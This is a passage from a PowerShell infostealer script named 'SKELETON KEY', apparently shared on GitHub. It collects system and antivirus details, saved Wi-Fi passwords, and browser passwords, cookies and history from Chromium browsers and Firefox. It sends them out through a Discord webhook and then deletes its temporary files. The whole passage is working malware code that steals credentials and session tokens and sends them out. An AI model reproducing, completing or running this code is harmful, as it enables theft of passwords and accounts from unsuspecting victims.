[System.IO.File]::WriteAllText($path, ($lines -join "`r`n"), [System.Text.Encoding]::UTF8)
}
# ==================== 13. MAIN EXECUTION ====================
try {
$hostname = $env:COMPUTERNAME
$username = $env:USERNAME
$osInfo = (Get-CimInstance Win32_OperatingSystem).Caption
$avInfo = Get-AVInfo
$timeStr = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
$sysBanner = "HOST: $hostname`n" +
"USER: $hostname\$username`n" +
"OS: $osInfo`n" +
"AV: $avInfo`n" +
"TIME: $timeStr"
sklog "System: $hostname / $username / $osInfo"
$wifiData = Get-WiFi
$allPasswords = @()
$allCookies = @()
$allHistory = @()
foreach ($browser in $ChromiumBrowsers) {
if (!(Test-Path $browser.Path)) { continue }
sklog "Processing: $($browser.Name)..."
try { $allPasswords += Get-ChromiumPasswords -BrowserName $browser.Name -UserDataPath $browser.Path } catch { sklog "PASS FATAL ($($browser.Name)): $_" }
try { $allCookies += Get-ChromiumCookies -BrowserName $browser.Name -UserDataPath $browser.Path } catch { sklog "COOK FATAL ($($browser.Name)): $_" }
try { $allHistory += Get-ChromiumHistory -BrowserName $browser.Name -UserDataPath $browser.Path } catch { sklog "HIST FATAL ($($browser.Name)): $_" }
}
$ffProfile = Get-FirefoxProfilePath
if ($ffProfile) {
sklog "Processing Firefox: $ffProfile"
$ffPasswords = Get-FirefoxPasswords
$ffCookies = Get-FirefoxCookies
$ffHistory = Get-FirefoxHistory
if ($ffPasswords) { $allPasswords += $ffPasswords }
if ($ffCookies) { $allCookies += $ffCookies }
if ($ffHistory) { $allHistory += $ffHistory }
}
Write-ResultsFile -FileName 'system.txt' -Data @($sysBanner) -Header ''
Write-ResultsFile -FileName 'wifi.txt' -Data $wifiData -Header "SSID`tPassword`n---`t---"
Write-ResultsFile -FileName 'passwords.txt' -Data $allPasswords -Header "URL`tUsername`tPassword`tBrowser`n---`t---`t---`t---"
Write-ResultsFile -FileName 'cookies.txt' -Data $allCookies -Header "Host`tName`tValue`tPath`tExpires`tSecure`tHttpOnly`n---`t---`t---`t---`t---`t---`t---"
Write-ResultsFile -FileName 'history.txt' -Data $allHistory -Header "URL`tTitle`tVisits`tLastVisit`n---`t---`t---`t---"
sklog "Uploading to Discord..."
Send-ToDiscord -FilePath "$skOut\system.txt" -Description "System Info"
Send-ToDiscord -FilePath "$skOut\wifi.txt" -Description "WiFi Passwords"
Send-ToDiscord -FilePath "$skOut\passwords.txt" -Description "Browser Passwords ($($allPasswords.Count) entries)"
Send-ToDiscord -FilePath "$skOut\cookies.txt" -Description "Browser Cookies ($($allCookies.Count) entries)"
Send-ToDiscord -FilePath "$skOut\history.txt" -Description "Browser History ($($allHistory.Count) entries)"
$pwCount = $allPasswords.Count
$ckCount = $allCookies.Count
$hiCount = $allHistory.Count
$wfCount = $wifiData.Count
$summaryText = "**SKELETON KEY - Extraction Complete**``````" + $sysBanner + "``````" +
"PASSWORDS : $pwCount entries`n" +
"COOKIES : $ckCount entries`n" +
"HISTORY : $hiCount entries`n" +
"WIFI : $wfCount profiles"
if ($DiscordUrl -and $DiscordUrl -ne 'YOUR_DISCORD_WEBHOOK_HERE') {
try { Invoke-RestMethod -Uri $DiscordUrl -Method Post -Body @{content=$summaryText} -TimeoutSec 10 | Out-Null } catch { sklog "Summary fail: $_" }
}
sklog "=== EXTRACTION COMPLETE ==="
} catch {
sklog "FATAL ERROR: $_"
} finally {
Send-ToDiscord -FilePath $skLog -Description "Debug Log"
'' | Out-File -FilePath $skSig -Force -Encoding ASCII
Start-Sleep -Seconds 3
if ($animProc -and !$animProc.HasExited) { try { $animProc.Kill() } catch {} }
Remove-Item $skTemp -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item $skSig -Force -ErrorAction SilentlyContinue
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment